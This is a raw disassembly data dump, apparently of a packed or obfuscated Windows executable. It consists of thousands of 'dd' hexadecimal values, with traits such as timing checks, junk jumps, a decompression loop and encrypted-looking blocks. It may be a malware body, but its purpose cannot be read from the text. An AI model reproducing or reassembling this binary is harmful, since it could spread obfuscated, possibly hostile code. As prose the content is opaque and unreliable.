		dd 51E881BBh, 66656B21h, 4C6CEE81h, 38FF550h, 97E5BA66h
		dd 9324EB81h, 0B70F64B9h, 20C381F3h, 0E864B993h, 0Ah, 1688801Dh
		dd 87E0C55Ah, 890F688Eh, 11h, 0CE9h, 7B784100h,	7F6036EDh
		dd 4DE87093h, 0F495F78h, 3085h,	0CE800h, 1D820000h, 0FD166587h
		dd 0C863DCAAh, 7E95F9Ah, 44000000h, 97E74C96h, 0E95E3C89h
		dd 31h,	762E260Ah, 7306ED4Bh, 9DEC2EFCh, 0C8A0F12h, 0F000000h
		dd 68Fh, 81D68100h, 0E9105780h,	0FFFFFF4Dh, 2B68875Ah
		dd 96BF0EF2h, 0CA02D8A5h, 14E8DEh, 60120000h, 77BF357Bh
		dd 0A5D3EA1Dh, 4AD622B3h, 1E0C789Ch, 0D38A661Bh, 8F0F6058h
		dd 2, 14E9D68Bh, 9B000000h, 4D3B4037h, 32C8EB39h, 28EF0207h
		dd 0F1BB55E8h, 61B933E0h, 7471C081h, 0DE90000h,	0A2000000h
		dd 0AE27D34Ch, 0B2E11394h, 0DC840794h, 3CBADB33h, 0FF64E4A0h
		dd 0BE660334h, 8159ECD3h, 0D0EF46F2h, 0C3C18151h, 8137F4C1h
		dd 82882AC1h, 0D3F18116h, 517473A4h, 9E9h, 96F40600h, 82B07Ch
		dd 48F6974h, 4820F18h, 66000000h, 664C58BAh, 83F44CBFh
		dd 0D38B04EBh, 8C38FB81h, 850FFFFFh, 0FFFFFFAFh, 0E9F78B66h
		dd 6A0h, 13E9h,	9F258900h, 14E2AB72h, 703FB6E5h, 0D8C542E4h
		dd 611DCCA2h, 0BE860h, 0A7D20000h, 26AE6964h, 2805CC4Ah
		dd 0A1BD89DEh, 5806071Eh, 21761h, 0B5090000h, 6073011h
		dd 0C8C0F60h, 0F000000h, 68Dh, 0C59D8900h, 0B8060708h
		dd 0
		dd 0AE9h, 4668FC00h, 8C7017AFh,	8BBF1CA0h, 0E9282454h
		dd 14h,	361B0E56h, 90244816h, 0AA7A31AFh, 5269C073h, 99264FF2h
		dd 18AD8589h, 850F0607h, 0Dh, 8E9h, 0A12A7900h,	6F5AE042h
		dd 3CBE43h, 66600000h, 800ECFB8h, 36163C8h, 60242474h
		dd 8BF1BF0Fh, 7103D95h,	0AD666106h, 23CDB529h, 44030607h
		dd 80602424h, 800F96EBh, 2, 506135B3h, 0BE9h, 4432DF00h
		dd 52C62406h, 95F5CF99h, 0F240489h, 0C8Bh, 6840F00h, 89000000h
		dd 707A9B5h, 78408B06h,	12E9h, 0F3C28400h, 4027654Eh, 916C14CBh
		dd 78F00116h, 3864A00h,	60282444h, 0CCC78166h, 1DBD8B0Fh
		dd 61060700h, 0E918408Bh, 7, 9469FAA1h,	40356A34h, 0E810Fh
		dd 8B600000h, 70FAD9Dh,	13E78106h, 612DD18Ch, 3A088589h
		dd 9D890607h, 6072FD5h,	0CD8D0958h, 8B060701h, 83F57870h
		dd 0B5891CC6h, 6071D55h, 24247403h, 15B5B589h, 0BD8D0607h
		dd 6071681h, 8D0FADF8h,	0Ch, 6860Fh, 8D0F0000h,	0
		dd 24244403h, 3858D89h,	89AB0607h, 70BA99Dh, 51BD8D06h
		dd 8906070Bh, 723D98Dh,	8D896006h, 6073159h, 2FF28166h
		dd 31AD616Dh, 7336195h,	24440306h, 10E924h, 0EE850000h
		dd 1F2FB561h, 9B82ED4Fh, 0BEDC77F8h, 0F5058E5h,	2589h
		dd 0E9525000h, 14h, 0FBCC8041h,	1AA4F1B7h, 0C49BAE44h
		dd 0F2E313Bh, 30005E6Ah, 5250310Fh, 585A310Fh, 489585Ah
		dd 13E924h, 8D5A0000h, 28F91E7Ah, 0D553E142h, 16744705h
		dd 21F815AEh, 8B60ABB6h, 70C6585h, 81BD2306h, 61060703h
		dd 1661BD8Dh, 0ADF90607h, 244403F8h, 0FABFC28h,	680h, 0A9BD8900h
		dd 0F060722h, 0C83h, 6820F00h, 89000000h, 717558Dh, 66605E06h
		dd 0CAE8F681h, 0DE9h, 0B19B4100h, 4A4C8BFFh, 8E3F942Ah
		dd 0FF6170D0h, 73A088Dh, 8BD8306h, 6073Ah, 44C71075h, 1C24h
		dd 0B58D0000h, 6073E46h, 0AD56E6FFh, 28244403h,	8ADF8B97h
		dd 71C4D85h, 74C08406h,	75073A04h, 0C032574Ch, 5EFD75AEh
		dd 0FC52FB2Bh, 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah
		dd 8B6D68Ah, 66EBD166h,	973D8D1h, 50413566h, 49F38166h
		dd 75CEFE54h, 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh
		dd 0C18B6610h, 74D03B5Ah, 0C6835E0Fh, 0AD85FF04h, 0E9060718h
		dd 0FFFFFF6Fh, 8BF9F95Eh, 718AD85h, 0C8B0F06h, 0F000000h
		dd 689h, 498D8900h, 0D106071Ch,	858B60E0h, 6070FE1h, 17D9BD89h
		dd 3610607h, 7166185h, 0BEF806h, 0F8000000h, 0B58B6096h
		dd 6070611h, 0AD6661F5h, 21BD0160h, 0B106071Dh,	14E961A2h
		dd 0E2000000h, 0DC5B9550h, 358FE8A2h, 9F02D71Bh, 45FD5349h
		dd 0C18962C7h, 14E902E0h, 42000000h, 71DC20EEh,	641CF711h
		dd 8D4F48Ch, 1BC4FB6Bh,	39D74A4h, 7168185h, 19B52906h
		dd 96060730h, 0D781F560h, 695B4182h, 8BFCAD61h,	8924244Ch
		dd 7040195h, 24440306h,	8D896024h, 6071D11h, 24448961h
		dd 5595891Ch, 96060712h, 0AE5B529h, 1AC0607h, 716FDB5h
		dd 0C932FC06h, 8860Fh, 8C0F0000h, 2, 0C1FE6160h, 59DBD89h
		dd 0D0D00607h, 85830Fh,	0B5010000h, 6071D45h, 32AD9D31h
		dd 0D0D00607h, 71830Fh,	850F0000h, 6, 1639B509h, 0D0D00607h
		dd 5D820Fh, 95290000h, 6070031h, 820FD0D0h, 4Fh, 12158D29h
		dd 0C9FE0607h, 0FFB4890Fh, 8D01FFFFh, 6072379h,	3120C483h
		dd 7260D85h, 2444C706h,	0FCh, 6E900h, 15540000h, 13D06726h
		dd 1B8h, 19850100h, 8D060718h, 7715D8Dh, 0E1FFFC06h, 6E9h
		dd 50D5E00h, 0C625F34Fh, 71C4D85h, 95890006h, 6071F01h
		dd 8C2F561h, 69858900h,	96060729h, 0CE860h, 0CFA50000h
		dd 0B8AFA1C1h, 4237DD80h, 59571626h, 61F18B5Fh,	0B7536050h
		dd 0D48A5E09h, 8B609661h, 730658Dh, 0B19D8B06h,	61060708h
		dd 0DE9h, 2D70FE00h, 0D9858CC3h, 977F4471h, 0B5892F91h
		dd 6074015h, 8DBD8B60h,	6006070Fh, 89CF8B66h, 72D859Dh
		dd 89616106h, 740378Dh,	0E840F06h, 60000000h, 7B19D8Bh
		dd 8B0F0607h, 0
		dd 0FDBD3161h, 8D060708h, 73F13B5h, 0B1BD0106h,	8D060705h
		dd 5B7E3585h, 39B58900h, 0E906070Ch, 5,	0CD705EDAh, 1D0FFC1h
		dd 71B3D95h, 2DBD8906h,	5E060712h, 32ADBD89h, 0FCC30607h
		dd 4015B58Bh, 85890607h, 6073369h, 40378D8Bh, 85090607h
		dd 6071779h, 5E9C02Bh, 0C1000000h, 6226165Ch, 800FD98Bh
		dd 1, 0AFE9F8h,	95090000h, 60707E9h, 95892632h,	60720DDh
		dd 858902B2h, 6072AE1h,	5EE9h, 198D8900h, 32060722h, 819589C2h
		dd 506070Fh, 8A751D7Ah,	718D8960h, 31060718h, 721A5B5h
		dd 8AF96106h, 0E8E0FCCh, 60000000h, 32C1858Bh, 0BD290607h
		dd 6071CF5h, 0E9C8D361h, 6, 0D2D293C1h,	42350DFBh, 2998D108h
		dd 7006D85h, 89CAFE06h,	722F995h, 0A19D2906h, 0A06072Ah
		dd 0A0850FD2h, 0FFFFFFFh, 889h,	28A0F00h, 60000000h, 0B70F6061h
		dd 0F4B61F1h, 685h, 0D1950100h,	89060704h, 72BE5BDh, 29F94606h
		dd 7313D9Dh, 0FDB0B06h,	0FFFF4F85h, 418D29FFh, 0CF060718h
		dd 0DE9h, 0A8946D00h, 8C2A1229h, 8071DD42h, 0CE9Ch, 68F0Fh
		dd 8D890000h, 6070B29h,	880F0000h, 6, 155D9529h, 8D890607h
		dd 60706F5h, 10E90000h,	8A000000h, 0A0DB22D6h, 0DB4BD4D5h
		dd 3E19F5ABh, 0D2CC49h,	0CE900h, 0EF3E0000h, 346005D4h
		dd 0FEFE6E16h, 11E9730Eh, 56000000h, 3B73F31Dh,	0EB71F636h
		dd 772531C0h, 261FD003h, 3A13858Dh, 10E90607h, 0D9000000h
		dd 2BEE6F0Fh, 0B6ADA348h, 509BDA77h, 89F5C8F4h,	7182985h
		dd 65853106h, 8D060723h, 73E5E85h, 0E850F06h, 0E9000000h
		dd 9, 850AD131h, 0B40530F7h, 95858974h,	0EB060710h, 14h
		dd 3 dup(0)
		dd 8B00h, 8C858D00h, 89060741h,	720D185h, 0CCBD8306h, 60740h
		dd 12C840Fh, 85C60000h,	6071C4Dh, 4E856h, 6D390000h, 8B50D41Fh
		dd 8B042444h, 24448900h, 0B5FF5804h, 60701A9h, 3A13858Dh
		dd 0D0FF0607h, 40C08589h, 85C60607h, 6071C4Dh, 8FDC6856h
		dd 481440Dh, 9B287624h,	0A9B5FF58h, 8D060701h, 73A1385h
		dd 89D0FF06h, 740C485h,	68046A06h, 0A39176ECh, 14240481h
		dd 8B5C6E99h, 740D085h,	1F40506h, 0E0C10000h, 4895002h
		dd 0FF006A24h, 740C495h, 0C8858906h, 8B060740h,	0FFFFB8D8h
		dd 95FFFFFFh, 60720D1h,	95FFC38Bh, 60720D1h, 8DE9h, 0CCBD8300h
		dd 60740h, 1850Fh, 57C30000h, 40C8BD8Bh, 83AB0607h, 740C885h
		dd 0C35F0406h, 40CCBD83h, 0F000607h, 185h, 8360C300h, 740C8ADh
		dd 9D8B0406h, 60740C8h,	0FFFC7B83h, 1D850Fh, 58680000h
		dd 8126A776h, 0F6582434h, 6A26A7h, 95FF33FFh, 60740C0h
		dd 26E9C361h, 0E8000000h, 4, 8000h, 24448B50h, 89008B04h
		dd 58042444h, 33FF006Ah, 40C095FFh, 0AD830607h,	60740C8h
		dd 0FFA8E904h, 0E948FFFFh, 1ADh, 24748B60h, 247C8B24h
		dd 80B2FC28h, 8846068Ah, 2BB4707h, 2000000h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0FFE2830Fh, 0D202FFFFh, 5850Fh
		dd 168A0000h, 0FD21246h, 6A83h,	2C03300h, 5850FD2h, 8A000000h
		dd 0D2124616h, 12A830Fh, 0D2020000h, 5850Fh, 168A0000h
		dd 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h, 850FD202h
		dd 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h,	0D2124616h
		dd 840FC013h, 6, 8AF82B57h, 7885F07h, 2BB47h, 70E90000h
		dd 0B8FFFFFFh, 1, 850FD202h, 5,	1246168Ah, 2C013D2h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0FFDE820Fh, 0C32BFFFFh, 1BBh
		dd 34850F00h, 0B9000000h, 1, 850FD202h,	5, 1246168Ah, 2C913D2h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0FFDE820Fh,	8B56FFFFh
		dd 0F3F52BF7h, 8E95EA4h, 48FFFFFFh, 8A08E0C1h, 0E88B4606h
		dd 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h
		dd 5, 1246168Ah, 0DE820FD2h, 3DFFFFFFh,	7D00h, 22830Fh
		dd 3D0000h, 0F000005h, 0E82h, 8B564100h, 0F3F02BF7h, 0B4E95EA4h
		dd 83FFFFFEh, 870F7FF8h, 3, 5602C183h, 0F02BF78Bh, 0E95EA4F3h
		dd 0FFFFFE9Bh, 3346068Ah, 1E8C0C9h, 17840Fh, 0D1830000h
		dd 56E88B02h, 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h, 247C2BFFh
		dd 247C8928h, 8C2611Ch,	929BA00h, 0D3E90000h, 0D000009h
		dd 0C623AF5Eh, 6D735D33h, 18C1B0E0h, 15CEAFD9h,	0F7C038DEh
		dd 23EF5A0Dh, 91BBB342h, 5015979Ch, 0CD2EAF78h,	7F7B5171h
		dd 992E2F7h, 1A8BA8CBh,	87A35795h, 3EFB5007h, 91E9BF43h
		dd 5F13959Ch, 0D72EAF7Bh, 65664E71h, 158CE2E8h,	0E9CB3D5h
		dd 0B3C03C9Bh, 3EFF474Bh, 90BBF252h, 4B1380D2h,	0D137AF6Dh
		dd 6B664F3Eh, 0ECE8h, 62h dup(0)
		dd 0D000000h, 0CC2AAF5Eh, 6560413Fh, 291E2F7h, 169CBBD7h
		dd 0B6C67DD6h, 28F81518h, 82E9FD43h, 5A128C9Dh,	0CD32FD3Fh
		dd 6D7A413Fh, 508FABA5h, 59BB3C1h, 0A4D72E9Bh, 63F7501Fh
		dd 88999E2Ch, 5B0F9897h, 0CD32AF33h, 6E75473Dh,	5095ABA5h
		dd 1A81AEDEh, 0BACB309Bh, 6DE34704h, 0C4ADFD47h, 4A0F9C80h
		dd 8333FD7Eh, 78614728h, 1F93B2A5h, 1A8FAEDFh, 95h, 47h	dup(0)
		dd 0D000000h, 0D124AF5Eh, 6F7F4B30h, 5092E5F7h,	1B81B3CCh
		dd 0A4CF359Bh, 28FF574Bh, 8BAFB348h, 1E189787h,	0CD29FA6Dh
		dd 2A734638h, 9C1ACECh,	579CA9D7h, 0A3DD24C8h, 47B4580Eh
		dd 81A5C32Bh, 12198A93h, 0CF29FA3Fh, 2A70493Eh,	16C1B6ECh
		dd 5783B3CAh, 0B8C338D6h, 2CBA4C19h, 96E9F748h,	5F088A97h
		dd 0DA67FB6Dh, 2A665D3Eh, 178EB0F5h, 5983BDCAh,	61h dup(0)
		dd 0D000000h, 0C62BE659h, 787B4B71h, 491B7F7h, 59CFB8DDh
		dd 0BEC6099Bh, 3FEA1518h, 85BBF449h, 5F14D99Fh,	0C625AF6Ch
		dd 67344634h, 88ACE4h, 38FB0CDh, 0B68E39DEh, 20BA5105h
		dd 81ABEA47h, 4A15F4F8h, 0CA67FC38h, 69714E3Fh,	5085A7F1h
		dd 16CEA5DAh, 0A5C70B9Bh, 22BA461Eh, 96AAB354h,	5B179A93h
		dd 0F767A17Bh, 2A674139h, 158DABE3h, 1981AB98h,	0A08E299Ch
		dd 6DF14704h, 89B0FD47h, 10198B9Dh, 0E0h dup(0)
		dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8	dup(0)
		dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
		dd 0E4E90000h, 2900002Ch, 72EE58Dh, 0B531FC06h,	6070755h
		dd 6660C08Bh, 8931BFBBh, 7236D85h, 0AE96106h, 66000000h
		dd 28DE245Eh, 0B408D7F1h, 1BD8309h, 60731h, 0BD830975h
		dd 6070A55h, 50137400h,	0B8C08B53h, 1, 0B2949D8Dh, 0D3FF0609h
		dd 0BD83585Bh, 6070A55h, 50117400h, 1B853h, 9D8D0000h
		dd 609B145h, 585BD3FFh,	196DBD89h, 958B0607h, 607093Dh
		dd 8AF8C08Bh, 0E5BD83F4h, 60723h, 149840Fh, 0DA810000h
		dd 105D7B09h, 150DBD83h, 0F000607h, 13684h, 0D3BF0F00h
		dd 91BD8960h, 8B060725h, 7150D85h, 9ACE8006h, 3E805h, 0FB8B6000h
		dd 30E59D01h, 50610607h, 60535250h, 310F5B61h, 11E9h, 57412C00h
		dd 0A36491CAh, 0B8AE2369h, 114CE839h, 585A1F44h, 31240489h
		dd 70FE185h, 90858D06h,	0B706074Dh, 0D38B50E7h,	0E8240489h
		dd 0Bh,	0DB50E87Dh, 0A8461B3Eh,	8998615Bh, 72B659Dh, 9D8B5A06h
		dd 6071059h, 4D6E858Dh,	8B600607h, 72CB99Dh, 61CC8A06h
		dd 58B0F90h, 0BA000000h, 45F654ACh, 35D5BA50h, 0BA9010CDh
		dd 65972454h, 1EB195FFh, 95230607h, 6072CE5h, 83D6BF0Fh
		dd 11E90CC4h, 86000000h, 0EBE2A092h, 50B7D1Bh, 0A3EE17FDh
		dd 0DBC2DCFBh, 0F4F18060h, 0EE960h, 73AB0000h, 5D4089F3h
		dd 973EBF26h, 94AB6C46h, 8D6161F5h, 74D6E85h, 870F9006h
		dd 3, 50DF8B66h, 90D88B66h, 10E8h, 44656D00h, 5403DB23h
		dd 42A3677Fh, 0BA2A78DAh, 0FC5AF54Ch, 830F026Ah, 12h, 0DE9h
		dd 9FD14C00h, 73F0020Eh, 2A70E526h, 95FF4E62h, 688574h
		dd 61D18B66h, 0C7D3BF0Fh, 74DA185h, 106h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 0F59D8B2Fh, 50060703h, 989F05BBh, 24348956h,	0B589E7B3h
		dd 6074D52h, 83D0BF0Fh,	71995BDh, 850F0106h, 1Dh, 83E5CE80h
		dd 850F05F8h, 11h, 2159D8Bh, 0B80607h, 8B000000h, 716B59Dh
		dd 0D5BD8306h, 60705h, 29840Fh,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 9C1E7C3h
		dd 0B8DA8B66h, 0
		dd 60C4D280h, 10E59D8Bh, 0EB810607h, 3C7C9608h,	749858Bh
		dd 0CE90607h, 0DA000000h, 516A38DBh, 0FB4F9DE3h, 83802EE8h
		dd 952302C0h, 60726ADh,	4D4A8589h, 0FE90607h, 96000000h
		dd 0B80B6ACAh, 0DC5A87ECh, 0CFF2D273h, 0C6A5D4h, 8E9FFh
		dd 0FC500000h, 8D709E15h, 85C69628h, 6071C4Dh, 0E1958B53h
		dd 68060704h, 0D86EBDB7h, 52505250h, 0FDE8B66h,	0F585A31h
		dd 3850F31h, 66000000h,	585AD18Bh, 21240481h, 8124428Bh
		dd 0AAB8DAD2h, 0EDB5FF25h, 6A060712h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0F6F0C351h
		dd 0D3816660h, 81660B9Ch, 61BC89E7h, 3860Fh, 8B660000h
		dd 0FE858DD1h, 0E9060A7Ch, 13h,	2C925A45h, 2A23C56Fh, 8992B9B3h
		dd 8D0948E1h, 0FFC9E9A7h, 0DB8151D0h, 218A16C4h, 959D8B5Ah
		dd 8906072Eh, 7320185h,	19958B06h, 83060723h, 721E1BDh
		dd 850F0106h, 0E0h, 0D5F947BAh,	6A6167h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 25EDD8C3h
		dd 0CE20703Bh, 2830Fh, 0DE8B0000h, 1C4D85C6h, 0F450607h
		dd 0BBDEBFh, 682F60EEh,	8ED0A630h, 92240481h, 0E84B8F92h
		dd 6, 0E23BFFA1h, 95094984h, 6072DC9h, 0ADD6805Ah, 12EDB5FFh
		dd 0E9600607h, 9, 82363FCCh, 5B3E1B56h,	9E82Fh,	0F6920000h
		dd 59909EB5h, 66879324h, 5A543EBBh, 0FE858D61h,	6A060A7Ch
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 816CC352h, 0C07292B8h, 52D78B3Eh,	68F0Fh
		dd 9D8B0000h, 60705FDh,	0BBD0FF5Ah, 0DBC5B7Dh, 0BD01006Ah
		dd 6071565h, 51BAD0FFh,	0F7518EFh, 389h, 8DE38000h, 2C21BD83h
		dd 0F010607h, 9585h, 4880F00h, 66000000h, 8BDB39BAh, 7074985h
		dd 0D18D8906h, 0E9060716h, 5Eh,	15EA7ABBh, 90DE8A51h, 72D8BA66h
		dd 6A9050h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0FCF5C4C3h, 6DF6DA48h, 0B9858912h, 8B06072Fh
		dd 700B59Dh, 0F146A06h,	68Dh, 5D958900h, 0FF06071Eh, 7320195h
		dd 798D2906h, 5806071Dh, 515958Bh, 38800607h, 0A0850F00h
		dd 53FFFFFFh, 2D3D950Bh, 0C65A0607h, 89530100h,	7022995h
		dd 89615B06h, 71B6D9Dh,	0BDBD8306h, 6072Bh, 50840Fh, 14E80000h
		dd 81000000h, 43742219h, 0A99109D4h, 49F27EAh, 0AFD2FEFAh
		dd 891EA3E3h, 71D8185h,	0FF6A5A06h, 95FF6CB7h, 6073201h
		dd 38B0Fh, 8B660000h, 0FFE8E9D9h, 0BA66FFFFh, 9E86587h
		dd 0AF000000h, 0D2296855h, 0AC2D3B60h, 0EBE28166h, 85C75AC8h
		dd 6072BBDh, 1,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	57C35242h, 4D568589h, 10E90607h, 26000000h, 3ED15D0Dh
		dd 4FA404B1h, 0A333E218h, 0F7B092Eh, 28Dh, 90D68B00h, 2BB850BBh
		dd 8B665044h, 9D8990D7h, 6071AF5h, 53006A60h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 1F1BFD21h
		dd 3817A79Bh, 56A79E6h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 6FC35343h, 6934E978h,	81ACC55Eh, 0C8417ECAh
		dd 6E858D58h, 8B06074Dh, 7155D9Dh, 52509006h, 0D18B310Fh
		dd 9050585Ah, 899D89F8h, 8D06071Fh, 74D5E85h, 0DA8B5206h
		dd 0BB66905Bh, 5650C189h, 905B1AB7h, 0B819589h,	95FF0607h
		dd 6072D55h, 6830Fh, 0BD010000h, 60718EDh, 7A408D8Dh, 6A0607h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 9EB158C3h, 0A17877B4h, 0B8D1D00h, 8D1174C0h,	74D6E85h
		dd 0D1FF5006h, 4D8C8589h, 0AEB0607h, 4D8C85C7h,	0FFFF0607h
		dd 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0FEBAACC3h, 0CD804892h, 0D88B5C51h, 50006A61h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0C60369C3h, 71C4D85h, 9D894D06h, 6073089h, 4E8h, 3576A800h
		dd 50BDB3A4h, 448BDF8Bh, 52500424h, 0DE9h, 6CE3500h, 0C5912D1Eh
		dd 0B4C8AD15h, 310FAA49h, 48E0Fh, 0BB660000h, 585A848Ah
		dd 5A53008Bh, 4244489h,	0D88B5250h, 5250310Fh, 0E9F07ABBh
		dd 0B7310F60h, 5A585A04h, 9D015858h, 6070B85h, 0DE8h, 0D4F14700h
		dd 0D2BA1877h, 89139C53h, 0FF5A73A0h, 72C7DB5h,	0EE806h
		dd 0B86A0000h, 26EFA0B5h, 20E74FB9h, 0AC1AFCDFh, 8A99D8Bh
		dd 8D5A0607h, 0A7CFE85h, 35952B06h, 0FF060710h,	10E8D0h
		dd 0A47F0000h, 47B3B858h, 841A64C2h, 479BFF41h,	8F0FC7BAh
		dd 5, 0A2ED5FBBh, 85895B2Ah, 60719A5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 0EBC35747h,	4D85C63Eh, 4506071Ch
		dd 68D0Fh, 95890000h, 6070C85h,	4E8h, 72696900h, 0B890F8Eh
		dd 60000000h, 201B3EB9h, 6CB96627h, 505061B3h, 0FD98B52h
		dd 50525031h, 5A310F52h, 0E8310F58h, 5,	5E05927Dh, 585A5B09h
		dd 448B585Ah, 9AB20424h, 0BA66008Bh, 4489533Fh,	8B660424h
		dd 0BF0F58D0h, 8A0F56D7h, 3, 5A2EF680h,	12EDB5FFh, 6A0607h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0B4A762C3h, 8BB560AEh, 2FFD858Bh, 8B610607h,	7105995h
		dd 0FE858D06h, 89060A7Ch, 719CD9Dh, 6AD0FF06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 1CBBC353h, 0BA3F0DC8h, 329F90DEh, 1F398589h,	9D8B0607h
		dd 6072BA1h, 19899533h,	0D28B0607h, 9E9h, 5C89F700h, 4087425Eh
		dd 958BF36Bh, 607181Dh,	8BD98C66h, 7211595h, 4C1F606h
		dd 255840Fh, 8B660000h,	121E9D3h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0CCF7C1C3h
		dd 89C75CA0h, 71A1595h,	0C9B58B06h, 6A060729h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 42C5C357h, 0B8F0C11Ch, 1ABA669Bh, 80C68170h,	6A000011h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8ADFC356h, 4DBD83F0h, 60704h, 1F850Fh, 3EBA0000h
		dd 0E87DAA0Ah, 9, 32BCD0CAh, 0CFB7333h,	8D953133h, 5A060715h
		dd 72E9h, 3E8300h, 69840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0A6F3BAC3h
		dd 0D71C02Bh, 60716B6Eh, 6810Fh, 85090000h, 60725F5h, 0DA80146Ah
		dd 195FF61h, 6A060732h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 5220C351h, 5A27D380h
		dd 0EBE78061h, 0FFFF90E9h, 0C779B2FFh, 106h, 0BDB50100h
		dd 83060703h, 74D56BDh,	850F0506h, 11Fh, 0C80BE381h, 0B58B58E5h
		dd 6071F39h, 0D0BF0F53h, 64B95Bh, 89560000h, 71AA18Dh
		dd 95295B06h, 6073369h,	0FE83E80h, 5284h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 3E243EFAh, 158D89AEh, 0E906071Ah
		dd 5Ah,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h
		dd 53C35040h, 8AF15823h, 0EDBD29DCh, 8006071Dh,	0FC2057Eh
		dd 6984h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 5A9FBD6Ch, 0CAC28004h, 1695BD89h
		dd 3460607h, 733019Dh, 850F4906h, 0FFFFFF64h, 58E9BCB2h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0F972C350h, 6D29ED54h,	4AA5783Bh
		dd 3C58501h, 0B5890607h, 60700A5h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 3EC35545h, 42BB66ABh, 559D8BD2h
		dd 58060718h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 17h,	1BC35242h, 8BB72977h, 7221195h,	81BD8306h, 60722h
		dd 0F1840Fh, 8E80000h, 0FA000000h, 9EE43CE3h, 5BB8CDF1h
		dd 79858960h, 5706071Dh, 85C65BFCh, 6071C4Dh, 1D958B54h
		dd 68060733h, 0B50E093Eh, 7E8h,	61519800h, 6B1C0C36h, 1BEFBA66h
		dd 2404815Ah, 4A40B5B6h, 2A3315BBh, 0EDB5FF76h,	6A060712h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 63FAC357h, 1A799D8Bh, 62B60607h, 7CFE858Dh
		dd 14E9060Ah, 60000000h, 7D2C482Eh, 0F68E8DA6h,	0A6C3FFB9h
		dd 0F920F1FBh, 0FFCB3D0Ah, 0D9BD29D0h, 6A060732h, 8B665000h
		dd 0B5FF5BD9h, 6072281h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0CCC35747h, 0FF85418Ah, 0A1D381D0h, 61782D62h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 29C35242h
		dd 361445F8h, 0C7F58E39h, 70BD185h, 106h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 0DF793EC9h, 4D96D75Fh, 157D958Bh, 0E9600607h, 12h, 0A9FC644Ch
		dd 338349EFh, 96D0C452h, 3580A040h, 4E8B836h, 80000000h
		dd 52000000h, 5BDF8B66h, 8BFA8A50h, 0E9042444h,	0Fh, 0B06E30DAh
		dd 2B1DBEC4h, 47763251h, 8B4A27EFh, 0FE900h, 870E0000h
		dd 1830D41Ch, 8213DFDDh, 4D264B51h, 244489F6h, 6A5804h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 58BBB6C3h, 0E8743B19h, 0Dh, 18C5823Fh, 35E14C58h, 0A148095Dh
		dd 0B99D89F0h, 5B06070Bh, 8D89FF6Ah, 607152Dh, 2F55B589h
		dd 95FF0607h, 6072C91h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0AFC35343h, 88BE09ABh, 68B0Fh, 9D890000h
		dd 6070A81h, 52006A61h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 5C994116h, 5BE8B656h, 5043B390h
		dd 0E99084B7h, 0Bh, 355B8CD9h, 947E429Fh, 8B1AEB23h, 72EF585h
		dd 31BD8906h, 5606070Bh, 0BE9h,	0FEBFE600h, 0A1C695DDh
		dd 91DEBF06h, 0FC00B5Ah, 1C84h,	8E900h,	858C0000h, 7F4471D9h
		dd 95319197h, 6071B21h,	2C2995FFh, 0B70F0607h, 7985C7D2h
		dd 106070Ah, 0F000000h,	38Bh, 0DA8B6600h, 0BD83D98Ah, 6071B2Dh
